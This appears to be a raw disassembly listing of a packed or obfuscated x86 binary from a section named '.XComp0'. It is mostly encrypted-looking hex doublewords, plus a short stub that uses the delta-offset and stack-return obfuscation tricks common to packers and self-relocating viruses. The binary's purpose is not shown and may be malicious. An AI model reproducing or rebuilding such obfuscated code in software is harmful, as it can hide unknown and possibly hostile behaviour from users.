		dd 521D0201h, 0B56EAB58h, 0B555A305h, 91883905h, 52156301h
		dd 11765440h, 58B99658h, 0BF19AF8Ah, 95AC27F8h,	0EE222201h
		dd 0C1BBA585h, 9E73A953h, 95CD2D30h, 0F7222201h, 0CBB25ABFh
		dd 69037259h, 9560668Ah, 78F6A861h, 91112211h, 2A92A72Eh
		dd 855BEC6Dh, 9C713B81h, 2B134AA9h, 1888A960h, 0C9400645h
		dd 7974226Bh, 91112202h, 0CF4B7C21h, 95605688h,	95066680h
		dd 91112219h, 5E4B7447h, 488003B7h, 99F397FEh, 917B27F8h
		dd 918BCA57h, 0CF642201h, 0E5AB7CC2h, 0D5902625h, 919D2625h
		dd 0C7022201h, 9E4B02C2h, 149CF5B6h, 9474E711h,	7913226Bh
		dd 91222202h, 0CED27D21h, 95AC5E88h, 95606680h,	9122221Ah
		dd 0EDD27546h, 25CFE75Ah, 78CADD8Fh, 9122220Eh,	12A880BEh
		dd 26036A22h, 7BDDA500h, 18FBFC76h, 68380F84h, 0BA58DD04h
		dd 685523B4h, 8A7AB04h,	0FB14DB01h, 92607201h, 0B1442201h
		dd 187AE159h, 10150645h, 868C0645h, 0D1442201h,	0E5FE151h
		dd 9FF8CF1Bh, 0B0882201h, 1B1413E4h, 2F112DECh,	41B3D673h
		dd 80DE405h, 0D641DB19h, 99AFB78Ah, 0DD7927F8h,	783B7E5Bh
		dd 91442212h, 0D900C709h, 80FC4E31h, 9E963A5Ah,	4C7EA1DBh
		dd 1026B6B8h, 0DECD0635h, 91E2302Fh, 9147CA53h,	0CB022201h
		dd 0C59878C2h, 0D5092625h, 915F2625h, 0C3602201h, 543817C2h
		dd 0A2804E3Ch, 4CD9AB40h, 6E27DB11h, 6819F3B4h,	5A372D04h
		dd 5454A78Ch, 914827FDh, 9112CA51h, 0C9A82201h,	0D5CD7AC2h
		dd 0D5A32625h, 910B2625h, 0C1C82201h, 0B2814DC2h, 39B912Bh
		dd 41EEED8Ah, 0A015AF8Ah, 14CD27F8h, 94DB0528h,	0B830B728h
		dd 144E27F8h, 94BD3A98h, 0B4A7AB52h, 0F914DB10h, 0F02EEFD1h
		dd 914428E9h, 858ED201h, 530BD05Eh, 0CB549038h,	51602680h
		dd 0FB15B090h, 92F97501h, 0B1882201h, 181BE15Eh, 1026067Dh
		dd 8A150645h, 0D6882201h
		dd 1DEBE156h, 93B80F50h, 1C9A9D05h, 9471271Ch, 999597FEh
		dd 81CB27F8h, 0CA112201h, 828CD4Bh, 0CA867EECh,	0A2BAA6D2h
		dd 1CB196D0h, 6D4D3284h, 0C0444804h, 912221E9h,	52480201h
		dd 0B5C4AB58h, 0B500A305h, 91223B05h, 52406301h, 7889636Fh
		dd 24451892h, 94DB2C18h, 0A0841356h, 0CB8DDB08h, 912EF2FEh
		dd 9121CA52h, 0CA312201h, 0CD0179C2h, 0D5C52625h, 91352625h
		dd 0C2522201h, 0D8D16DC2h, 0C4D4244h, 94DB26BCh, 9C94A728h
		dd 18E927F8h, 6864F784h, 0C4A7AB04h, 5714DB16h,	6890BB84h
		dd 912E7504h, 9121CA51h, 0C9312201h, 0D5017AC2h, 0D5C52625h
		dd 91342625h, 0C1512201h, 67852BC2h, 91C02D52h,	0CF222201h
		dd 35802B69h, 42037347h, 0B540A35Bh, 0D87DE2FCh, 7942226Bh
		dd 91882202h, 0CA877921h, 95067E88h, 95356680h,	91882215h
		dd 73877142h, 3A7D9867h, 99C097FEh, 24A127F8h, 94BD0534h
		dd 8F35FDBBh, 8194AF23h, 0FB8DDEC4h, 92AC7701h,	0B1222201h
		dd 184CE15Ch, 108C066Dh, 85400645h, 0D4222201h,	6846E154h
		dd 1401F2FEh, 94BD2B10h, 7977226Bh, 91112202h, 0CC4B7F21h
		dd 95604E88h, 95066680h, 91112214h, 0E44B7744h,	97C82D4Fh
		dd 1A222201h, 680353BCh, 80DE404h, 0D241DB19h, 9423A788h
		dd 557927F8h, 1A2933A8h, 0B570A3D2h, 8CA3FBEDh,	7942226Bh
		dd 91882202h, 0CA877921h, 95067E88h, 95356680h,	91882219h
		dd 77877142h, 96A52DE0h, 68A41353h, 0CE8DDB10h,	0DC879856h
		dd 187D4041h, 68090FBCh, 403DDD04h, 0FB41DB09h,	92CA7401h
		dd 0B1112201h, 18D6E15Fh, 10400675h, 88260645h,	0D7112201h
		dd 0B6C2E157h, 8848EBBEh, 5432A78Ch, 2E1E27FDh,	5C0DABF3h
		dd 6E41DB26h, 0C42248D1h, 911121E9h, 52D50201h,	0B528AB5Ch
		dd 0B566A305h, 91113F05h, 52DD6701h, 73E9157Fh,	242067F7h
		dd 2C9AE703h, 94713658h, 0B8699F8Ah, 14AB27F8h,	94E80914h
		dd 385FA367h, 0A0C1AFF5h, 0FB27DEFDh, 92F97401h, 0B1882201h
		dd 181AE15Fh, 10260675h, 87150645h, 0D7882201h,	6832E157h
		dd 98CB7211h, 16112201h, 3AEFD593h, 42CC1100h, 0FB062688h
		dd 92F97101h, 0B1882201h, 181FE15Ah, 1026065Dh,	89150645h
		dd 0D2882201h, 7D9E152h, 9E1644AAh, 91112B88h, 920D2D01h
		dd 9E442201h, 4DDF0BEh,	94E80FACh, 79DF226Bh, 91442202h
		dd 0CEE17D21h, 95355E88h, 95AC6680h, 91442216h,	15E17546h
		dd 1A26AD7Bh, 0C28848D9h, 914421E9h, 52790201h,	0B54DAB5Ah
		dd 0B5CCA305h, 91443F05h, 52716101h, 0EA393A74h, 0B010903Ch
		dd 14C91A57h, 94DEDE24h, 7947226Bh, 91882202h, 0CF877C21h
		dd 95065688h, 95356680h, 91882218h, 74877447h, 750EC3C4h
		dd 0B0ACA98Fh, 0C18DDB04h, 0F7167252h, 0A02DDA8Ah, 0A01E7051h
		dd 0C9D27A5Bh, 0B540AB58h, 7971226Bh, 91112202h, 0CA4B7921h
		dd 95607E88h, 95066680h, 9111221Ah, 994B7142h, 0C96C1D1Fh
		dd 24CB07Dh, 9E437261h,	0B9374430h, 0F11C786Bh,	0A0EF42B9h
		dd 9119CA0Bh, 5BED2201h, 0DD3A8806h, 0F07A2CCEh, 2E777260h
		dd 0FB1BE897h, 92AC7401h, 0B1222201h, 184FE15Fh, 108C0675h
		dd 88400645h, 0D7222201h, 76FBE157h, 3CE4D254h,	9445B78Ah
		dd 2C2B27F8h, 94E82834h, 8481B7FEh, 912E27F8h, 9121CA54h
		dd 0CC312201h, 0FD017FC2h, 0D5C52625h, 91382625h, 0C4542201h
		dd 0D13F36C2h, 370B50BAh, 912228E9h, 0ED248401h, 0D625F8D8h
		dd 78FA986Dh, 91222204h, 0BD680F37h, 14017C1Dh,	94BD3190h
		dd 92039867h, 9604A7C6h, 918727F8h, 4CD2201h, 94DB2ABCh
		dd 8280B7FEh, 187027F8h, 68531784h, 9133CB04h, 0A76C2201h
		dd 0ED96A5F1h, 0CDC27CF9h, 9C9857CCh, 1A3E6F28h, 68904BBCh
		dd 1CC1A904h, 1C27DB0Eh, 6C01089Ch, 90CBAB04h, 0A2719F8Ch
		dd 24AF27F8h, 94EC3205h, 918811B8h, 7AE0D101h, 91229A32h
		dd 511A2201h, 894A2175h, 0B500A901h, 91CA710Dh,	0CA112201h
		dd 919FE180h, 0CDCD2201h, 0D5AB3225h, 294A3625h, 913AD836h
		dd 0D5CFC2FEh, 71DD2625h, 7941226Bh, 91882202h,	0C9877A21h
		dd 95066688h, 95356680h, 91882217h, 0AD877241h,	914824A4h
		dd 9112CA56h, 0CEA82201h, 0EDCD7DC2h, 0D5A32625h, 91082625h
		dd 0C6CF2201h, 917E0EC2h, 9EB607FDh, 0F170E9BEh, 0D4799967h
		dd 91442DE8h, 83F7AC01h, 0C1A7AE3Fh, 9B4BA118h,	0DBB0782Eh
		dd 0B49FAF60h, 1C14DEFDh, 6C98928Ch, 3A719A04h,	1411BA27h
		dd 94E8230Ch, 6BF1ED2Ah, 2791122h, 21912222h, 88CCD27Fh
		dd 8095AC4Eh, 14956066h, 44912222h, 5E98377h, 0D98BA4F3h
		dd 217D8589h, 46E905F9h, 60000000h, 840FCE8Bh, 5, 435218BFh
		dd 6A61612Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0C340C352h, 9E9h, 0EE8BF100h
		dd 5FEE5B8Fh, 6E9FCECh,	0E2000000h, 2FDC1662h, 6AC08B1Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0D511C350h, 0BD83E28Bh, 5F931C9h,	83097500h
		dd 0F912B5BDh, 19740005h, 0C08B5350h, 4B9B8h, 0DD858900h
		dd 8D05F915h, 0FBF3EB9Dh, 5BD3FF05h, 0B5BD8358h, 5F912h
		dd 53501774h, 4B9B8h, 0DD858900h, 8D05F915h, 0FBF08C9Dh
		dd 5BD3FF05h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 5958FB5Fh, 0E960E61Ch, 10h, 466BBC4h
		dd 21109FD3h, 0AF8643DEh, 0A487A6D7h, 2890Fh, 0C68B0000h
		dd 9830F61h, 60000000h,	0BAE98166h, 61A4B265h, 13E9h, 0EBF11400h
		dd 0AA096F40h, 222BB820h, 36B51EDEh, 2CC23F38h,	6AC08Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 6FC5F3C3h, 8FDB9FC4h, 0C18B408Eh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 5C35747h, 658328Bh,	607F37F0h
		dd 8D8B9AB6h, 5F906DDh,	4EB61h,	8B000000h, 0F92029BDh
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0D4CC4B07h, 0FFC78166h, 0C1858DDBh, 6605F90Dh
		dd 9073BFBFh, 0DCBC38BFh, 0BE85072h, 4000000h, 1D7B48F3h
		dd 0ECBACA46h, 8B664B89h, 6A905FF2h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0F4F2C352h
		dd 0F440122h, 8B663720h, 6A006AFEh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1407C357h
		dd 6A522B08h, 0FAB70F00h, 1402858Dh, 6A05FDh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 99AB9FC3h
		dd 0C15FB916h, 5205C083h, 19D98D89h, 905E05F9h,	7E9h, 0D39EB600h
		dd 917F6E99h, 90F98B50h, 6A006AF5h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0FC86C353h
		dd 0B6691ABEh, 81006A20h, 0D6CC76C7h, 0ED95FF31h, 6A05F913h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0B8B6C351h, 0D1B11571h, 9D8DFC8Ah, 5FCE983h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 75C35141h
		dd 52C57CE1h, 87D9509h,	6E905F9h, 74000000h, 674B728h
		dd 6AD3FFD4h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0BA52C352h, 85FF7A24h,	5F9197Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 2CC35242h
		dd 0E9FA8B78h, 7DEh, 0E8h, 0ED815D00h, 5FD140Ch, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 90C35343h, 870FEE9Dh
		dd 6, 0A266C781h, 0BD812688h, 5F90715h,	7D0h, 134860Fh
		dd 61BF0000h, 8B13E373h, 0F9202D9Dh, 118F0F05h,	0E9000000h
		dd 0Ch,	0FAD10159h, 680B3A39h, 0F6DB58Fh, 100E381h, 0B1BF0000h
		dd 0B26F0AFh, 69850FDBh, 0F000000h, 283h, 83F28B00h, 0FD124ABDh
		dd 840F0005h, 10h, 96B7EE81h, 81666B78h, 0E99205EFh, 8Eh
		dd 124A85C7h, 105FDh, 0BD8B0000h, 5F915A5h, 0AE9h, 0C7296700h
		dd 0A0187D96h, 0E9F69DE8h, 6Ah,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 7C35747h, 0F8C778BDh, 124A85C7h
		dd 5FDh, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 1D0424h, 51410000h, 0F63480C3h, 94577D7h, 0E877DD40h
		dd 9, 99633BAEh, 0EDEC5E1Eh, 0E1B58B91h, 5F05F926h, 1235BD8Bh
		dd 9D8D05F9h, 5F9202Dh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0FDC35545h, 0E07DEEA9h, 81E852CFh, 0FFFEFF23h
		dd 52006AFFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8C6679C0h, 4C3F6DBh, 8D840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 353047C3h, 9BFCEE66h, 0E8A5BDA2h, 13h, 0ADF3B73Dh, 9D5D6186h
		dd 0F76359D9h, 0D2EE24AEh, 8BAA22FFh, 95FF5FFBh, 5F91391h
		dd 90F7B70Fh, 13E850h, 27BE0000h, 8CBA6A13h, 0ACF80A72h
		dd 93EA5DDCh, 17F1680Dh, 5F5160D2h, 5E61FE8Bh, 57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0FB8B8431h, 0E9F3B70Fh, 45Fh, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 14h, 8EC35646h, 13E9h, 68CEFF00h
		dd 0AAF23B8h, 0F7F42D93h, 0F5D10209h, 0D7ECD87h, 858900B0h
		dd 5F92CE5h, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 8EDF22C3h, 71E4A4B0h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 5FC35747h, 2D5FF539h
		dd 0FACCA08h, 6AD8B6h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0F843B8C3h, 7C1A2C4Fh, 0F95BD09h
		dd 0B70F05F9h, 9E9F0h, 2C830000h, 0BCF4346Eh, 0BAEB9976h
		dd 6, 0C38BF18Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	31C35646h, 5DD2B47Bh, 0BD312B30h, 5F91345h, 0E8C1FA8Bh
		dd 2C90BF04h, 0F76639E5h, 11B58BE2h, 2B05F91Fh,	25BD89D8h
		dd 5005F933h, 6A241C89h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 61FDC353h, 0ECA3792Ah
		dd 70EA68C0h, 5FFE8B50h, 15B5FFFCh, 6A05F907h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0CD41C355h, 89F13D88h, 0F90E099Dh, 0ED95FF05h, 6A05F91Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 719C356h,	66A5FDF3h, 0B04415BEh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0E0D3B71Dh, 0DDB589C5h, 0E605F927h, 50006A70h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 8B89ECBAh, 0F9157DB5h, 6A71E405h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0D06EC351h
		dd 9DA2BB90h, 8BC14C38h, 0F613CFBh, 25283h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0B33A114Ah, 0D2E5F8C9h, 1EB2CE81h, 800F6B49h, 6, 0FCDB589h
		dd 0B60F05F9h, 51006AD8h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 241A043Fh, 8BB8DB5Ah
		dd 0F91295BDh, 6BA05h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0FBAB51C3h, 14E95604h
		dd 4B000000h, 7226A604h, 8839180Ch, 8C00AA69h, 4AF79F50h
		dd 8B4CCCE3h, 0E9BD29C3h, 0C105F90Dh, 6A04E8h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0B7C0C1C3h, 0FA34241Ch, 0BE9658Eh, 26000000h, 39180C72h
		dd 0AA6988h, 0DE81508Ch, 69710618h, 2BE2F766h, 0BE9D8h
		dd 0AC5D0000h, 0A093EF93h, 2298ED1Dh, 8D89587Dh, 5F90429h
		dd 880FD82Bh, 14Bh, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 9AC35646h, 0FC57BDD1h, 7B95Fh, 8D890000h
		dd 5F917FDh, 2900C183h,	0F92CADBDh, 0FD93B05h, 10E86h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 89777BEAh, 8B6608DCh, 0D98C66FAh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 3CC35545h, 52360766h
		dd 5FF0BF0Fh, 0F04C1F6h, 0B284h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0FD8D2F53h
		dd 95FF972Fh, 5F91391h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0E6C35646h, 8CEFE606h, 0C9040411h, 9DB589ABh
		dd 8B05F910h, 0B70F5BFAh, 66C32BFAh, 3D7399BFh,	834h, 49860Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0BCD7C5C3h, 82BBB0CBh, 50B90C69h,	12E9h
		dd 6857FF00h, 0DA8D81Bh, 883B5D1Fh, 41B2DCCBh, 5F9B441Dh
		dd 0EE9h, 8DBD8B00h, 8B05F91Fh,	619531C0h, 8B05F927h, 0C7D88BC3h
		dd 0F910D585h, 6F9BB705h, 0E9BD2B56h, 8B05F925h, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 6A767FDDh, 15BD812Fh, 0D005F907h, 0F000007h,	6185h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0EE9B08E4h, 52A1459Fh, 6880Fh, 0DE810000h
		dd 3143208Fh, 9B58B5Eh,	0FF05F901h, 0F9071585h,	52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0A058689h, 4788D771h, 0B5FFD841h, 5F90715h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 31C35141h, 22233D72h
		dd 0CCCDDD66h, 168F0F16h, 0E9000000h, 11h, 9FD4193Bh, 5251CB2Bh
		dd 0B7470ECAh, 0C47CAA1Dh, 0ED95FF4Ah, 2905F91Ah, 0F9009DBDh
		dd 78B89005h, 6A123456h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 24AAC356h, 190454EAh
		dd 16F1BD8Bh, 896005F9h, 0F9080595h, 8D8B6005h,	5F908BDh
		dd 61616EB7h, 1B799D8Dh, 45E905FDh, 6AFFFFF8h, 3E85600h
		dd 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 91D4C356h, 34A9BD89h
		dd 0C18B05F9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	81C35545h, 4EBh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 8B43D6C3h, 0C1858DFAh
		dd 5205F90Dh, 5DB58953h, 5E05F906h, 5250505Fh, 0F525060h
		dd 50585A31h, 5A310F52h, 310F6158h, 36E542BEh, 89585A62h
		dd 10E82404h, 0F3000000h, 6959DC1h, 117E096Bh, 9857AF06h
		dd 0F90F3CCh, 895FFAB7h, 0F9203D85h, 0E9006A05h, 7, 0B60C2ABh
		dd 0E9B54B3Eh, 6, 23F479A5h, 6A008Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 5C35343h, 79D6BEAh,	5EF98C37h
		dd 8DF9B70Fh, 0FD1DEB85h, 0B2F78105h, 8369D01Eh, 6E805C0h
		dd 0D2000000h, 1AFE7278h, 66905F86h, 50C1C4BEh,	7925BF66h
		dd 6AFA8B90h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 7D058B46h, 89006AC5h, 0F9209185h
		dd 0ED95FF05h, 6A05F913h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 9C8FC350h, 0DC5398Fh
		dd 7E8h, 16E28D00h, 5167D5Ch, 0BEF6815Fh, 8D63AF38h, 0FCE9839Dh
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 6D8E72E8h, 14E9h, 1D15F500h, 3FFD1DB0h
		dd 0C6DFEA31h, 7933202Bh, 7D4A11FAh, 6AD3FFA4h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 94BBC351h, 0AC68C6Eh, 0C68166F4h, 80604C71h,	8E9F9E6h
		dd 9B000000h, 238AE67Bh, 61B99C41h, 197D85FFh, 6A05F9h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 24625C3h, 26D0F4F8h,	8B0F76F4h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5AE25B
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 5FD1DF5h
		push	0
		push	eax
		call	sub_5AD3F4
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AD3F4	proc near		; CODE XREF: .XComp0:005AD3ECp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5AD3F4	endp

; ---------------------------------------------------------------------------
		dd 0B58B5D2Eh, 5F9224Dh, 715BD81h, 7D005F9h, 860F0000h
		dd 135h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	20C35343h, 27882F8h, 0BE291C2Ah, 9760BE66h, 1E799D8Bh
		dd 6A05F9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 48442CC3h, 81F88B92h, 100E3h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 3D88CD41h, 4198D2F1h, 0FFBF0F8Bh, 0AC39BE66h, 850FDB0Bh
		dd 63h,	83FEBF0Fh, 0FD1C05BDh, 840F0005h, 14h, 0E9FE8B66h
		dd 7Ah,	7E9h, 55B80A00h, 972C7A4Bh, 1C0585C7h, 105FDh
		dd 0E9FC0000h, 5Eh, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 66C35343h, 0E9B2A570h, 0Bh, 0E9A4BE8Dh
		dd 7049AAB8h, 0C7F6438Eh, 0FD1C0585h, 5, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0FBEB02EBh, 0D69BD8Bh, 9D8D05F9h, 5F91E79h, 81F2B70Fh
		dd 0FFFEFF23h, 68B0FFFh, 81000000h, 0ED2B9CCEh,	0DB8C6606h
		dd 0F6FAB70Fh, 840F04C3h, 7Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0C2C35242h,	0E551147Eh, 0F2B70F21h
		dd 139195FFh, 0BF6605F9h, 66905D11h, 5045D5BFh,	53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 14E9602Eh, 4C000000h, 9D03F25Eh, 8DF5B72Fh, 77CE945Bh
		dd 0CACFE8E2h, 0E9B20379h, 0Ah,	499BB94Ah, 30ED25A7h, 0E961769Bh
		dd 45Eh, 0B850Fh, 830F0000h, 5,	0FFCE8166h, 6A00B0A4h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 9962C357h, 0F5244BBFh, 4E19D89h, 0AE805F9h
		dd 8B000000h, 0DE7EAC52h, 6BB26E82h, 0FEBF0F05h, 0E6FE8B5Fh
		dd 50006A70h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 9C219E94h, 71E4A199h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 3BC35545h, 0F1D7A00Dh, 0B60F29C4h
		dd 0BE9D8h, 0CAA20000h,	0C436C7Eh, 2A55C17Bh, 6BA15h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0C2F452C3h, 0FBB70F03h, 6AC38Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0AE9A0C3h
		dd 54000000h, 2A770629h, 1A1012BFh, 4E8C1D8h, 248DB58Bh
		dd 0EE905F9h, 48000000h, 23EF63D1h, 17C8B694h, 0BFA89A13h
		dd 0E2F76680h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	97C35242h, 0EFB3407Fh, 66266CB3h, 0D82BF88Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 10C35040h, 0AFD17C6Dh
		dd 4A7DA828h, 0A02EBFF1h, 0E8506F1Fh, 5, 3829DE87h, 1C895FB8h
		dd 0FE924h, 87180000h, 73CAE9B6h, 57A2A5E0h, 0B031C5B5h
		dd 15B5FF21h, 0F05F907h, 880h, 2850F00h, 57000000h, 0ED95FF5Fh
		dd 6A05F91Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0F32AC351h, 7C6CB196h,	6660F826h
		dd 0C28BD88Bh, 6DBD8961h, 0B005F924h, 0F5BD2300h, 0E605F900h
		dd 53006A70h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 9615C4DDh, 0BE66C2F3h, 71E4FE85h, 329DBD29h
		dd 613C05F9h, 244830Fh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 48F4D0C3h, 0D8B60FFCh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0C2C35242h
		dd 31EC8224h, 6BAB9h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 89FBF5C3h, 0F932B185h
		dd 6AC38B05h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0D295C355h, 13D11834h,	0C1F88B66h
		dd 0F08B04E8h, 89E2F766h, 0F920B9B5h, 6AD82B05h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0A712C350h, 0A5958924h, 8905F900h, 0F913959Dh, 6A5805h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 3ED0DCC3h, 23BC02A2h, 0F926F1B5h, 0FD82B05h,	14988h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0F4D0908h, 6E49C093h, 7B92Fh, 85310000h
		dd 5F910E5h, 6A00C183h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 5239C355h, 108E0Fh
		dd 0AE80000h, 8B000000h, 0DE7EAC52h, 6BB26E82h,	3B5F5F05h
		dd 0DB860FD9h, 29000000h, 0F92C9995h, 0D98C6605h, 51D78166h
		dd 4C1F64Ah, 0A5840Fh, 0FC600000h, 616EED80h, 139195FFh
		dd 6A05F9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0E783DDC3h, 4A1BD8Bh, 6A5B05F9h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 4595C352h, 34CDB5EFh, 2BB809EDh, 51006AC3h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0D1C4D97Eh
		dd 12E98C27h, 0FD000000h, 16FE567Fh, 0EA7E2040h, 4EB48736h
		dd 2EEBE760h, 8343D61h,	860F0000h, 0Bh,	2459B58Bh, 1FE905F9h
		dd 8B000000h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0C38B8520h, 6AD88Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0D0C6C2C3h
		dd 0B52BFCF8h, 5F90465h, 85C7F38Bh, 5F9202Dh, 74529137h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0A8C35040h
		dd 7BE7F0D6h, 8B1FFC52h, 9D9509C0h, 2905F919h, 0F91E2D85h
		dd 15BD8105h, 0D005F907h, 0F000007h, 985h, 1585FF00h, 0F05F907h
		dd 0B5FFF8BFh, 5F90715h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 9DC35747h, 0AE391619h, 9832CB76h, 95FFFCA1h
